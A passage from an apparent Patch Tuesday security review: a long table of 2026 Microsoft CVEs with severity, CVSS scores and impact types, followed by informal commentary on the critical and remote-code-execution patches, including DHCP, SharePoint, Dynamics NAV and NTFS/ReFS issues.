Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 